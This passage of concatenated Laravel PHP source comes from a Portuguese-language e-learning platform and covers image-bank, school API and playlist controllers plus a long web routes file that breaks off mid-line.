$request->arquivo_imagem->storeAs('uploads/banco-imagens', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo_imagem))) { \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } else { if(\Storage::disk('local')->has('uploads/banco-imagens/' . $imagem->file_name)) { \Storage::disk('local')->delete('uploads/banco-imagens/' . $imagem->file_name); } $imagem->update([ 'original_name' => $originalName, 'file_name' => $newFileNameArquivo, ]); } } $imagem->update([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'visibilidade' => $request->visibilidade ]); return redirect()->back()->with('message', 'Imagem atualizada com sucesso!'); } else { return response()->json(["response" => false, "data" => "Imagem não encontrada!", 404]); } } public function getImagem($imagem_id) { if(ImagemBanco::find($imagem_id) != null) { $imagem = ImagemBanco::find($imagem_id); return response()->json(["response" => true, "data" => "Imagem carregada com sucesso!", 'imagem' => $imagem ]); } else { return response()->json(["response" => false, "data" => "Imagem não encontrada!", 404]); } } public function getVisualizar($imagem_id) { if(ImagemBanco::find($imagem_id) != null) { $imagem = ImagemBanco::find($imagem_id); if (\Storage::disk('local')->has('uploads/banco-imagens/' . $imagem->file_name)) { // return \Storage::disk('local')->response('uploads/banco-imagens/' . $imagem->file_name, $imagem->original_name); $path = \Storage::disk('local')->path('uploads/banco-imagens/' . $imagem->file_name, $imagem->original_name); if (!\File::exists($path)) { abort(404); } $file = \File::get($path); $type = \File::mimeType($path); $response = \Response::make($file, 200); $response->header("Content-Type", $type); return $response; // return response()->file( \Storage::disk('local')->get('uploads/banco-imagens/' . $imagem->file_name, $imagem->original_name) ); } } else { // return response()->view('errors.404'); return redirect('404'); } } public function getArquivo($imagem_id) { if(ImagemBanco::find($imagem_id) != null) { $imagem = ImagemBanco::find($imagem_id); if (\Storage::disk('local')->has('uploads/banco-imagens/' . $imagem->file_name)) { return \Storage::disk('local')->response('uploads/banco-imagens/' . $imagem->file_name, $imagem->original_name); } } else { // return response()->view('errors.404'); return redirect('404'); } } public function delete(Request $request) { // dd($request); if(ImagemBanco::find($request->imagem_id) != null) { $imagem = ImagemBanco::find($request->imagem_id); if(\Storage::disk('local')->has('uploads/banco-imagens/' . $imagem->file_name)) { \Storage::disk('local')->delete('uploads/banco-imagens/' . $imagem->file_name); } $imagem->delete(); return response()->json(["response" => true, "data" => "Imagem excluída com sucesso!", 200]); } else { return response()->json(["response" => false, "data" => "Imagem não encontrada!", 404]); } } } <file_sep>/app/Http/Controllers/API/EscolaController.php <?php namespace App\Http\Controllers\API; use App\Escola; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class EscolaController extends Controller { public function index(Request $request) { try { $escola = Escola::orderBy('id', 'DESC')->get(); if(!empty($request->get('aluno'))) { $escola = Escola::where('user_id', $request->get('aluno'))->orderBy('id', 'DESC')->get(); if($escola->isEmpty()) { return response()->json(['error' => 'Nenhuma escola foi encontrada com esse aluno.']); } } return response()->json($escola); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function show($id) { try { $escola = Escola::where('id', $id)->orderBy('id', 'DESC')->get(); if ($escola->isEmpty()) { return response()->json(['error' => 'Nenhuma escola foi encontrada']); } return response()->json($escola); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } }<file_sep>/app/Http/Controllers/Playlist/PlaylistController.php <?php namespace App\Http\Controllers\Playlist; use Illuminate\Support\Facades\Input; use App\Entities\Audio\Audio; use App\Entities\Playlist\Playlist; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class PlaylistController extends Controller { public function index() { $playlists = Playlist::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $playlists->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $playlists->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $playlists = $playlists ->orderBy('id', 'DESC') ->get(); $audios = Audio::orderBy('id', 'DESC')->get(); return view('pages.playlist.index', compact('playlists', 'audios')); } public function store(Request $request) { $this->validate($request, [ 'titulo' => 'required', 'audio_id' => 'required' ], [ 'audio_id.required' => 'Selecione pelo menos 1 áudio em sua playlist' ]); $playlist = Playlist::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo') ]); $playlist->audios()->attach($request->get('audio_id')); return redirect()->back()->with('message', 'Playlist cadastrada com sucesso!'); // return redirect()->route('playlists.listar')->with('message', 'Playlist cadastrada com sucesso!'); } public function update(Request $request, $idPlaylist) { $this->validate($request, [ 'titulo' => 'required', 'audio_id' => 'required' ], [ 'audio_id.required' => 'Selecione pelo menos 1 áudio em sua playlist' ]); $playlist = Playlist::find($idPlaylist); $playlist->update(['titulo' => $request->get('titulo')]); $playlist->audios()->sync($request->get('audio_id')); return redirect()->back()->with('message', 'Playlist atualizada com sucesso!'); // return redirect()->route('playlists.listar')->with('message', 'Playlist atualizada com sucesso!'); } public function destroy($idPlaylist) { $playlist = Playlist::find($idPlaylist); if (!$playlist) { return redirect()->back()->withErrors(['Playlist não encontrado!']); } $playlist->audios()->detach(); $playlist->delete(); return redirect()->back()->with('message', 'Playlist excluida com sucesso!'); // return redirect()->route('playlists.listar')->with('message', 'Playlist excluida com sucesso!'); } } <file_sep>/routes/web.php <?php use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Input; use Illuminate\Http\Request; use App\User; setlocale(LC_TIME, 'pt_BR', 'pt_BR.utf-8', 'pt_BR.utf-8', 'portuguese'); date_default_timezone_set('America/Sao_Paulo'); \Carbon\Carbon::setLocale('pt_BR'); // Rotas de autenticação Auth::routes(); // Conteudo //Aqui fora para funciona com o powerpoint e google docs Route::get('play/conteudo/{idConteudo}/arquivo', 'ConteudoController@playGetArquivo')->name('conteudo.play.get-arquivo'); //Aqui fora para funciona com o powerpoint e google docs Route::get('/play/{idCurso}/conteudo/{idAula}/{idConteudo}/arquivo', 'CursoController@playGetArquivo')->name('curso.play.get-arquivo'); // Area de visitantes Route::group([], function() { Route::get('catalogo', 'CatalogoController@index')->name('catalogo'); // Hub de aplicações Route::group(['prefix' => 'hub', 'as' => 'hub.'], function () { // Movido para area de visitante Route::get('', 'HubController@index')->name('index'); Route::get('home', 'HubController@index')->name('home'); Route::get('aplicacao/{idAplicacao}', 'HubController@aplicacao')->name('aplicacao'); }); }); // Global auth Route::middleware(['auth'])->group(function () { //Notificacao Route::get('notificacao/{idNotificacao}/excluir', 'NotificacaoController@excluirNotificacao')->name('notificacao.excluir'); // Estatisticas aluno Route::prefix('estatisticas')->group(function () { Route::get('', 'Estatisticas\Alunos\EstatisticasController@index')->name('estatisticas.index'); Route::get('', 'Estatisticas\Alunos\EstatisticasController@index')->name('estatisticas.index'); }); // Ranking Route::prefix('ranking')->group(function () { Route::get('', 'Ranking\Alunos\RankingController@index')->name('ranking.index'); }); // Plano de aulas Route::prefix('plano-de-aulas')->group(function () { Route::get('/{idPlano}', 'PlanoAulas\Alunos\PlanoAulasController@index')->name('plano.aulas.index'); }); // Plano de estudos Route::prefix('plano-de-estudos')->group(function () { Route::get('/', 'PlanoEstudos\Alunos\PlanoEstudosController@index')->name('plano.estudos.index'); }); // lista de favoritos Route::prefix('favoritos')->group(function () { Route::get('/', 'Favoritos\Alunos\FavoritosController@index')->name('favoritos.index'); Route::get('/adiciona/{idRef}/{tipo}', 'Favoritos\Alunos\FavoritosController@adiciona')->name('favoritos.adiciona'); Route::post('/pesquisar', 'Favoritos\Alunos\FavoritosController@search')->name('favoritos.search'); }); // historico Route::prefix('historico')->group(function () { Route::get('/', 'Historico\Alunos\HistoricoController@index')->name('historico.index'); Route::post('/pesquisar', 'Historico\Alunos\HistoricoController@search')->name('historico.search'); }); //Catalogo Route::prefix('catalogo')->group(function () { Route::get('2', 'Catalogo\Alunos\CatalogoController@index')->name('catalogo'); }); //Grade de aula Route::prefix('grade-de-aula')->group(function () { Route::get('data/{date}/turma/{turma}', 'GradeAula\Alunos\GradeAulaController@index')->name('grade-aula.index'); }); //Home, catalogo e curso Route::get('/', 'HomeController@index')->name('index'); Route::get('/home', 'Estatisticas\Alunos\EstatisticasController@index')->name('home'); // Route::get('/home', 'BibliotecaController@index')->name('home'); Route::get('/biblioteca', 'BibliotecaController@index')->name('biblioteca'); // Aplicações Route::get('/aplicacao/ultima', 'AplicacaoController@ultimaAplicacao')->name('aplicacao-ultima'); Route::get('/aplicacao/ultima/play', 'AplicacaoController@playUltimaAplicacao')->name('aplicacao-ultima-play'); Route::get('/aplicacao/{idAplicacao}', 'AplicacaoController@index')->name('aplicacao'); Route::get('/aplicacao/{idAplicacao}/play', 'AplicacaoController@playAplicacao')->name('aplicacao-play'); // Hub de aplicações Route::group(['prefix' => 'hub', 'as' => 'hub.'], function () { // Movido para area de visitante // Route::get('', 'HubController@index')->name('index'); // Route::get('/home', 'HubController@index')->name('home'); Route::get('/aplicacao/ultima', 'HubController@ultimaAplicacao')->name('aplicacao-ultima'); Route::get('/aplicacao/ultima/play', 'HubController@playUltimaAplicacao')->name('aplicacao-ultima-play'); // Route::get('/aplicacao/{idAplicacao}', 'HubController@aplicacao')->name('aplicacao'); Route::get('/aplicacao/{idAplicacao}/play', 'HubController@playAplicacao')->name('aplicacao-play'); }); // Glossario Route::prefix('glossario')->group(function () { //Home Route::get('', function () { return redirect()->route('glossario.palavra', ['word' => 'A']); })->name('glossario.index'); // User Route::get('{word}', 'Glossario\Front\GlossarioController@index')->name('glossario.palavra'); Route::post('busca', 'Glossario\Front\GlossarioController@search')->name('glossario.search'); }); // Habilidades Route::prefix('habilidades')->group(function () { Route::get('/', 'Habilidades\Alunos\HabilidadesController@index')->name('habilidades.listar'); Route::get('/estatisticas', 'Habilidades\Alunos\HabilidadesController@estatisticas')->name('habilidades.estatisticas.listar'); }); // Agenda Route::group(['prefix' => 'agenda', 'as' => 'agenda.'], function () { Route::get('/', 'Agenda\AgendaController@index')->name('index'); Route::post('cadastro', 'Agenda\AgendaController@store')->name('cadastro'); Route::post('atualizar', 'Agenda\AgendaController@update')->name('atualizar'); Route::post('deletar', 'Agenda\AgendaController@delete')->name('deletar'); Route::get('filtrar/{idTurma}/mesclar/{mesclar}', 'Agenda\AgendaController@filterCalendar')->name('filtrar'); }); // Teste nivelamento Route::group(['prefix' => 'teste-nivelamento', 'as' => 'teste.'], function () { Route::get('', 'TesteNivelamento\Aluno\TesteNivelamentoController@index')->name('listar'); Route::get('{idTeste}/exibe', 'TesteNivelamento\Aluno\TesteNivelamentoController@show')->name('exibe'); Route::get('{idTeste}/questao/{idQuestao}/{resultadoId}/exibe', 'TesteNivelamento\Aluno\TesteNivelamentoController@getQuestao')->name('questao.exibe'); Route::post('cadastro/questoes', 'TesteNivelamento\Aluno\TesteNivelamentoController@cadastroQuestoes')->name('questao.cadastro'); Route::get('expira/update/{id}', 'TesteNivelamento\Aluno\TesteNivelamentoController@expiraUpdateAjax')->name('expira.update'); Route::get('finalizado/{id}', 'TesteNivelamento\Aluno\TesteNivelamentoController@finalizado')->name('finalizado'); }); Route::get('/codigo', 'CodigoTransmissaoController@index')->name('codigo-transmissao'); Route::get('/codigo/{token}', 'CodigoTransmissaoController@token')->name('codigo-transmissao-token'); // User perfil Route::get('perfil-incompleto', 'UserController@perfilIncompleto')->name('perfil-incompleto'); Route::post('perfil-incompleto/salvar', 'UserController@postPerfilIncompleto')->name('perfil-incompleto-salvar'); //Player de conteudo Route::get('/play/conteudo/{idConteudo}', 'ConteudoController@playConteudo')->name('conteudo.play'); Route::post('/play/conteudo/{idConteudo}/interacao/enviar', 'ConteudoController@postEnviarInteracaoConteudo')->name('conteudo.play.enviar-interacao-conteudo'); Route::post('/play/conteudo/{idConteudo}/avaliacao/enviar', 'ConteudoController@postEnviarAvaliacaoConteudo')->name('conteudo.play.enviar-avaliacao-conteudo'); Route::post('/play/conteudo/{idConteudo}/comentario/enviar', 'ConteudoController@postEnviarComentarioConteudo')->name('conteudo.play.enviar-comentario-conteudo'); // Route::post('/leitor', 'ConteudoController@postEnviarComentarioConteudo')->name('conteudo.play.enviar-comentario-conteudo'); // // Rotas para leitor de apostila // // Rotas de anotação e marcador de página // Route::get('/leitor_apostila/{conteudo_id}', 'ApostilaController@index')->name('leitor-apostila'); Route::post('/play/conteudo/{conteudo_id}/anotacao/nova', 'Anotacao\AnotacaoController@nova')->name('conteudo.anotacao.nova'); Route::get('/play/conteudo/{conteudo_id}/anotacao/{anotacao_id}/deletar', 'Anotacao\AnotacaoController@deletar')->name('conteudo.anotacao.deletar'); Route::get('/play/conteudo/{conteudo_id}/pagina-marcada', 'MarcadorPagina\MarcadorPaginaController@paginaMarcada')->name('conteudo.pagina-marcada'); Route::get('/play/conteudo/{conteudo_id}/marcar-pagina/{paginaAtual}', 'MarcadorPagina\MarcadorPaginaController@marcarPagina')->name('conteudo.marcar-pagina'); Route::get('/play/conteudo/{conteudo_id}/marcador/{pagina}/deletar', 'MarcadorPagina\MarcadorPaginaController@deletarMarcador')->name('conteudo.marcador.deletar'); // Cursos Route::get('curso/{idCurso}', 'CursoController@index')->name('curso'); Route::get('curso/{idCurso}/trancado', 'CursoController@cursoTrancado')->name('curso.trancado'); Route::post('curso/{idCurso}/trancado/acessar', 'CursoController@postAcessarCursoTrancado')->name('curso.trancado-acessar'); Route::get('painel/certificado/{idCurso}', 'PainelController@getCertificado')->name('painel.certificado'); // Forum do curso / Topicos do curso Route::get('curso/{curso_id}/topicos', 'TopicoCursoController@index')->name('curso.topicos'); Route::post('curso/{curso_id}/topico/enviar', 'TopicoCursoController@postNovoTopico')->name('curso.topico-enviar'); Route::get('curso/{curso_id}/topico/{topico_curso_id}/comentarios', 'TopicoCursoController@topico')->name('curso.topico-respostas'); Route::post('curso/{curso_id}/topico/{topico_curso_id}/atualizar', 'TopicoCursoController@postAtualizarTopico')->name('curso.topico-atualizar'); Route::post('curso/{curso_id}/topico/{topico_curso_id}/excluir', 'TopicoCursoController@postExcluirTopico')->name('curso.topico-excluir'); Route::post('curso/{curso_id}/topico/{topico_curso_id}/comentario/enviar', 'TopicoCursoController@postEnviarComentarioTopico')->name('curso.topico-comentario-enviar'); Route::post('curso/{curso_id}/topico/{topico_curso_id}/comentario/{idComentario}/excluir', 'TopicoCursoController@postExcluirComentarioTopico')->name('curso.topico-comentario-excluir'); //Player de curso Route::get('/play/{idCurso}', 'CursoController@playCurso')->name('curso.play'); Route::post('/play/{idCurso}/avalicao/enviar', 'CursoController@postEnviarAvaliacaoCurso')->name('curso.play.enviar-avaliacao-curso'); Route::post('/play/{idCurso}/professor/avalicao/enviar', 'CursoController@postEnviarAvaliacaoProfessor')->name('curso.play.enviar-avaliacao-professor'); Route::post('/play/{idCurso}/escola/avaliacao/enviar', 'CursoController@postEnviarAvaliacaoEscola')->name('curso.play.enviar-avaliacao-escola'); // Route::get('/play/{idCurso}/conteudo/{idAula}/{idConteudo}/arquivo', 'CursoController@playGetArquivo')->name('curso.play.get-arquivo'); Route::get('/play/{idCurso}/conteudo/{idAula}', 'CursoController@playGetAula')->name('curso.play.get-aula'); Route::get('/play/{idCurso}/conteudo/{idAula}/{idConteudo}', 'CursoController@playGetConteudo')->name('curso.play.get-conteudo'); Route::get('/play/{idCurso}/conteudo/{idAula}/{idConteudo}/proximo', 'CursoController@playGetProximoConteudo')->name('curso.play.get-proximo-conteudo'); Route::post('/play/{idCurso}/{idAula}/{idConteudo}/avaliacao/enviar', 'CursoController@postEnviarAvaliacaoConteudo')->name('curso.play.enviar-avaliacao-conteudo'); Route::post('/play/{idCurso}/{idAula}/{idConteudo}/comentario/enviar', 'CursoController@postEnviarComentarioConteudo')->name('curso.play.enviar-comentario-conteudo'); Route::get('/play/{idCurso}/{idAula}/{idConteudo}/mensagens', 'CursoController@getMensagensTransmissao')->name('curso.play.mensagens-transmissao'); Route::post('/play/{idCurso}/{idAula}/{idConteudo}/mensagem/enviar', 'CursoController@postEnviarMensagemTransmissao')->name('curso.play.enviar-mensagem-transmissao'); Route::get('/play/{idCurso}/{idAula}/{idConteudo}/comentario/{idComentario}/excluir', 'CursoController@getExcluirComentarioConteudo')->name('curso.play.excluir-comentario-conteudo'); Route::post('/play/{idCurso}/{idAula}/{idConteudo}/enviar/resposta', 'CursoController@postEnviarResposta')->name('curso.play.enviar-resposta'); Route::post('/play/{idCurso}/{idAula}/{idConteudo}/enviar/entregavel', 'CursoController@postEnviarEntregavel')->name('curso.play.enviar-entregavel'); // Matricula do curso Route::get('curso/{idCurso}/matricular', 'CursoController@matricular')->name('curso.matricular'); //Certificado do curso Route::get('curso/{idCurso}/certificado', 'CursoController@getCertificado')->name('curso.certificado'); //Turmas Route::get('turmas', 'TurmaController@index')->name('turmas'); Route::post('turmas/sair', 'TurmaController@postSairTurma')->name('turma-sair'); Route::get('turma/{idTurma}/mural', 'TurmaController@muralTurma')->name('turma-mural'); Route::get('turma/{idTurma}/mural/grade', 'TurmaController@gradeAulas')->name('turma-grade-aulas'); Route::post('turma/{idTurma}/mural/postar', 'TurmaController@postarMuralTurma')->name('turma-mural-postar'); Route::get('turma/{idTurma}/mural/convite/{idConvite}', 'TurmaController@getConvite')->name('turma-convite'); Route::get('turma/{idTurma}/mural/postagem/{idPostagem}/arquivo', 'TurmaController@getArquivo')->name('turma-postagem-arquivo'); Route::post('turma/{idTurma}/mural/postagem/{idPostagem}/excluir', 'TurmaController@postExcluirPostagem')->name('turma-postagem-excluir'); Route::post('turma/{idTurma}/mural/postagem/{idPostagem}/comentario/enviar', 'TurmaController@postEnviarComentarioPostagem')->name('turma-postagem-comentario-enviar'); Route::post('turma/{idTurma}/mural/postagem/{idPostagem}/comentario/{idComentario}/excluir', 'TurmaController@postExcluirComentarioPostagem')->name('turma-postagem-comentario-excluir'); // Mural Escola Route::get('escola/{escola_id}/mural', 'EscolaController@muralEscola')->name('escola.mural'); Route::post('escola/{escola_id}/mural/postar', 'EscolaController@postarMuralEscola')->name('escola.mural-postar'); Route::get('escola/{escola_id}/mural/postagem/{postagem_id}/arquivo', 'EscolaController@getArquivo')->name('escola.mural-postagem-arquivo'); Route::post('escola/{escola_id}/mural/postagem/{postagem_id}/excluir', 'EscolaController@postExcluirPostagem')->name('escola.mural-postagem-excluir'); Route::post('escola/{escola_id}/mural/postagem/{postagem_id}/comentario/enviar', 'EscolaController@postEnviarComentarioPostagem')->name('escola.mural-postagem-comentario-enviar'); Route::post('escola/{escola_id}/mural/postagem/{postagem_id}/comentario/{idComentario}/excluir', 'EscolaController@postExcluirComentarioPostagem')->name('escola.mural-postagem-comentario-excluir'); //Canal Professor Route::group(['prefix' => 'canal-do-professor', 'as' => 'canal-professor.'], function () { Route::get('/{idProfessor}/canal', 'CanalProfessor\CanalProfessorController@index')->name('index'); Route::get('/{idProfessor}/biblioteca', 'CanalProfessor\CanalProfessorController@biblioteca')->name('biblioteca'); Route::get('/{idProfessor}/avaliacoes', 'CanalProfessor\CanalProfessorController@avaliacoes')->name('avaliacoes'); Route::get('/{idProfessor}/duvidas', 'CanalProfessor\CanalProfessorController@duvidas')->name('duvidas'); Route::get('/{idProfessor}/duvida/{idDuvida}/respostas', 'CanalProfessor\CanalProfessorController@duvida')->name('duvida-respostas'); }); //Duvidas com professor Route::get('professor/{idProfessor}/duvidas', 'DuvidaController@index')->name('professor.duvidas'); Route::post('professor/{idProfessor}/duvida/enviar', 'DuvidaController@postNovaDuvida')->name('professor.duvidas-enviar'); Route::get('professor/{idProfessor}/duvida/{idDuvida}/respostas', 'DuvidaController@duvida')->name('professor.duvida-respostas'); Route::post('professor/{idProfessor}/duvida/{idDuvida}/atualizar', 'DuvidaController@postAtualizarDuvida')->name('professor.duvida-atualizar'); Route::post('professor/{idProfessor}/duvida/{idDuvida}/excluir', 'DuvidaController@postExcluirDuvida')->name('professor.duvida-excluir'); Route::post('professor/{idProfessor}/duvida/{idDuvida}/comentario/enviar', 'DuvidaController@postEnviarComentarioDuvida')->name('professor.duvida-comentario-enviar'); Route::post('professor/{idProfessor}/duvida/{idDuvida}/comentario/{idComentario}/excluir', 'DuvidaController@postExcluirComentarioDuvida')->name('professor.duvida-comentario-excluir'); //User infos Route::get('painel', 'PainelController@index')->name('painel'); // Route::get('perfil', 'PainelController@perfil')->name('perfil'); // Route::get('perfil/medalhas', 'PainelController@badges')->name('perfil.badges'); // Perfil medalhas / desafios / conquistas Route::group(['prefix' => 'perfil', 'as' => 'perfil.'], function () { Route::get('/recompensas', 'Badges\Alunos\BadgesController@recompensas')->name('recompensas'); Route::get('/desafios-concluidos', 'Badges\Alunos\BadgesController@desafios')->name('desafios'); Route::get('/conquistas', 'Badges\Alunos\BadgesController@conquistas')->name('conquistas'); }); //Avaliacoes do professor Route::get('professor/{idProfessor}/avaliacoes', 'RelatorioController@avaliacoesProfessor')->name('professor.avaliacoes'); Route::get('resultados', 'PainelController@resultados')->name('resultados'); //Certificado do curso painel Route::get('painel/certificado/{idCurso}', 'PainelController@getCertificado')->name('painel.certificado'); //Group Configurações de conta Route::group(['prefix' => 'configuracao', 'as' => 'configuracao.'], function () { Route::get('/', 'ConfiguracaoController@index')->name('index'); Route::get('avaliacoes', 'ConfiguracaoController@avaliacoes')->name('avaliacoes'); Route::post('/usuario/salvar', 'ConfiguracaoController@salvarDados')->name('salvar-dados'); Route::post('/usuario/trocar-email', 'ConfiguracaoController@trocarEmail')->name('trocar-email'); Route::post('/usuario/trocar-perfil', 'ConfiguracaoController@trocarFotoPerfil')->name('trocar-foto'); Route::post('/usuario/trocar-senha', 'ConfiguracaoController@trocarSenha')->name('trocar-senha'); Route::post('/usuario/notificacoes', 'ConfiguracaoController@notificacoes')->name('notificacoes'); }); // Artigos Route::group(['prefix' => 'artigos', 'as' => 'artigos.'], function () { Route::get('/', 'ArtigosController@index')->name('index'); Route::get('ler/{artigo_id}-{sluged_title}', 'ArtigosController@lerArtigo')->name('ler'); }); // Playlists Route::group(['prefix' => 'playlists', 'as' => 'playlists.'], function () { Route::get('/', 'Playlist\PlaylistController@index')->name('listar'); Route::post('/store', 'Playlist\PlaylistController@store')->name('store'); Route::post('/{idPlaylist}/update', 'Playlist\PlaylistController@update')->name('update'); Route::post('/{idPlaylist}/excluir', 'Playlist\PlaylistController@destroy')->name('destroy'); }); //Grupo de Ajuda / FAQ Route::group(['prefix' => 'ajuda', 'as' => 'ajuda.'], function () { //Artigos Route::get('', 'ArtigoAjudaController@index')->name('index'); Route::get('artigos', 'ArtigoAjudaController@index')->name('artigos'); Route::get('artigos/{idArtigo}', 'ArtigoAjudaController@artigo')->name('artigo'); Route::post('artigos/{idArtigo}/avaliar', 'ArtigoAjudaController@postAvaliarArtigo')->name('artigo-avaliar'); Route::post('artigos/pesquisar', 'ArtigoAjudaController@postPesquisar')->name('artigos-pesquisar'); }); //Grupo de Gestão Route::group(['prefix' => 'gestao', 'as' => 'gestao.', 'middleware' => 'gestao'], function () { Route::get('', 'GestaoController@index')->name('index'); Route::get('cursos-professores', 'GestaoController@cursosProfessores')->name('cursos-professores'); Route::get('ranking-professores', 'GestaoController@rankingProfessores')->name('ranking-professores'); Route::get('cursos', 'GestaoController@cursos')->name('cursos'); // Gestão de cursos e conteudo Route::get('curso/novo', 'GestaoController@novoCurso')->name('novo-curso'); Route::post('curso/novo', 'GestaoController@postNovoCurso')->name('novo-curso'); Route::get('curso/{idCurso}', 'GestaoController@conteudoCurso')->name('curso-conteudo'); Route::post('curso/{idCurso}/salvar', 'GestaoController@postSalvarCurso')->name('curso-salvar'); Route::post('curso/{idCurso}/excluir', 'GestaoController@postExcluirCurso')->name('curso-excluir'); Route::post('curso/{idCurso}/publicar', 'GestaoController@postPublicarCurso')->name('curso-publicar'); Route::post('curso/{idCurso}/aula/nova', 'GestaoController@postNovaAula')->name('curso.nova-aula'); Route::get('curso/{idCurso}/aula/{idAula}/editar', 'GestaoController@editarAula')->name('curso.aula-editar'); Route::get('curso/{idCurso}/exportar', 'Exportacao\CursoController@curso')->name('curso.exportar'); Route::get('curso/{idCurso}/aula/{idAula}/exportar', 'Exportacao\AulaController@aula')->name('curso.aula-exportar'); Route::get('curso/{idCurso}/aula/{idAula}/conteudo/{idConteudo}/exportar', 'Exportacao\AulaConteudoController@aulaConteudo')->name('curso.aula-conteudo-exportar'); Route::post('curso/importar', 'Importacao\CursoController@curso')->name('curso.importar'); Route::post('curso/{idCurso}/aula/{idAula}/importar', 'Importacao\AulaController@aula')->name('curso.aula-importar'); Route::post('curso/{idCurso}/aula/{idAula}/conteudo/importar', 'Importacao\AulaConteudoController@aulaConteudo')->name('curso.aula-conteudo-importar'); Route::get('curso/{idCurso}/aula/{idAula}/reordenar/{index}', 'GestaoController@reordenarAula')->name('curso.aula-reordenar'); Route::post('curso/{idCurso}/aula/editar', 'GestaoController@postEditarAula')->name('curso.aula-salvar'); Route::post('curso/{idCurso}/aula/duplicar', 'GestaoController@postDuplicarAula')->name('curso-aula-duplicar'); Route::post('curso/{idCurso}/aula/excluir', 'GestaoController@postExcluirAula')->name('curso-aula-excluir'); Route::get('curso/{idCurso}/aula/{idAula}/conteudos', 'GestaoController@aulaConteudos')->name('curso.aula-conteudos'); Route::post('curso/{idCurso}/aula/conteudos/novo', 'GestaoController@postNovoConteudoCurso')->name('curso.aula-conteudos-novo'); Route::get('curso/{idCurso}/aula/{idAula}/conteudos/{idConteudo}/editar', 'GestaoController@editarConteudoCurso')->name('curso.aula-conteudos-editar'); Route::post('curso/{idCurso}/aula/conteudos/salvar', 'GestaoController@postSalvarConteudoCurso')->name('curso.aula-conteudos-salvar'); Route::get('curso/{idCurso}/aula/{idAula}/conteudo/{idConteudo}/reordenar/{index}', 'GestaoController@reordenarConteudo')->name('curso.conteudo-reordenar'); Route::post('curso/{idCurso}/conteudo/duplicar', 'GestaoController@postDuplicarConteudoCurso')->name('curso-conteudo-duplicar'); Route::post('curso/{idCurso}/conteudo/excluir', 'GestaoController@postExcluirConteudoCurso')->name('curso-conteudo-excluir'); // Entregaveis Route::get('entregaveis', 'EntregaveisController@index')->name('entregaveis'); Route::get('entregaveis/curso/{idCurso}', 'EntregaveisController@getEntregaveisCurso')->name('entregaveis-curso'); Route::get('entregaveis/arquivo/{idResposta}', 'EntregaveisController@getArquivoEntregavel')->name('entregaveis-arquivo'); Route::post('entregaveis/curso/{idCurso}/corrigir/{idResposta}', 'EntregaveisController@postCorrigirResposta')->name('entregaveis-resposta-corrigir'); // Duvidas do professor Route::get('professor/{idProfessor}/duvidas', 'DuvidaController@index')->name('professor.duvidas'); Route::get('professor/{idProfessor}/duvida/{idDuvida}/respostas', 'DuvidaController@duvida')->name('professor.duvida-respostas'); // Gestão de Aplicações Route::get('aplicacoes', 'AplicacaoController@gestaoAplicacoes')->name('aplicacoes'); Route::post('aplicacao/enviar', 'AplicacaoController@postCriarAplicacao')->name('aplicacao-nova'); Route::get('aplicacao/{idAplicacao}/editar', 'AplicacaoController@getAplicacao')->name('aplicacao-editar'); Route::post('aplicacao/salvar', 'AplicacaoController@postSalvarAplicacao')->name('aplicacao-salvar'); Route::post('aplicacao/{idAplicacao}/excluir', 'AplicacaoController@postExcluirAplicacao')->name('aplicacao-excluir'); //Liberação de aplicações por escola Route::post('aplicacoes/liberacao/escola/nova', 'LiberacaoController@postLiberarAplicacaoEscola')->name('aplicacoes.liberacao.escola-nova'); Route::post('aplicacoes/liberacao/escola/{idLiberacao}/excluir', 'LiberacaoController@postExcluirLiberarAplicacaoEscola')->name('aplicacoes.liberacao.escola-excluir'); // Categorias Route::get('categorias', 'CategoriaController@categorias')->name('categorias'); Route::post('categorias/nova', 'CategoriaController@postNova')->name('categorias.nova'); Route::post('categorias/update', 'CategoriaController@postUpdate')->name('categorias.update'); Route::get('categorias/{idCategoria}', 'CategoriaController@getCategoria')->name('categorias.get'); Route::get('categorias/{idCategoria}/deletar', 'CategoriaController@deletar')->name('categorias.deletar'); // Biblioteca de aplicacoes e conteudo Route::get('biblioteca', 'GestaoController@biblioteca')->name('biblioteca'); //Gestão de cursos e conteudo Route::post('conteudos/novo', 'GestaoController@postNovoConteudo')->name('conteudo-novo'); Route::get('conteudos/{idConteudo}/editar', 'GestaoController@editarConteudo')->name('conteudos-editar'); Route::post('conteudos/salvar', 'GestaoController@postSalvarConteudo')->name('conteudos-salvar'); Route::post('conteudo/{idConteudo}/excluir', 'GestaoController@postExcluirConteudo')->name('conteudo-excluir'); //Gestão de turmas Route::get('turmas', 'TurmaController@index')->name('turmas'); Route::post('turmas/nova', 'TurmaController@postNovaTurma')->name('nova-turma'); Route::post('turmas/excluir', 'TurmaController@postExcluirTurma')->name('turma-excluir'); Route::get('turma/{idTurma}/mural', 'TurmaController@muralTurma')->name('turma-mural'); Route::get('turma/{idTurma}/mural/modo', 'TurmaController@modoPostagem')->name('turma-modo-postagem'); Route::get('turma/{idTurma}/mural/convite/gerar', 'TurmaController@gerarConvite')->name('turma-gerar-convite'); Route::post('turma/{idTurma}/alunos/convidar', 'TurmaController@postConvidarAlunos')->name('turma-convidar-alunos'); Route::get('turma/{idTurma}/alunos/{idAluno}/remover', 'TurmaController@removerAluno')->name('turma-remover-aluno'); Route::post('turma/{idTurma}/aplicacao/liberar', 'AplicacaoController@postLiberacaoAplicacao')->name('aplicacao-liberar'); Route::post('turma/{idTurma}/transmissao/nova', 'CodigoTransmissaoController@postNovoCodigoTransmissao')->name('transmissao-nova'); Route::post('transmissao/{idTransmissao}/excluir', 'CodigoTransmissaoController@postExcluirCodigoTransmissao')->name('transmissao-excluir'); Route::get('transmissao/gerar-token', 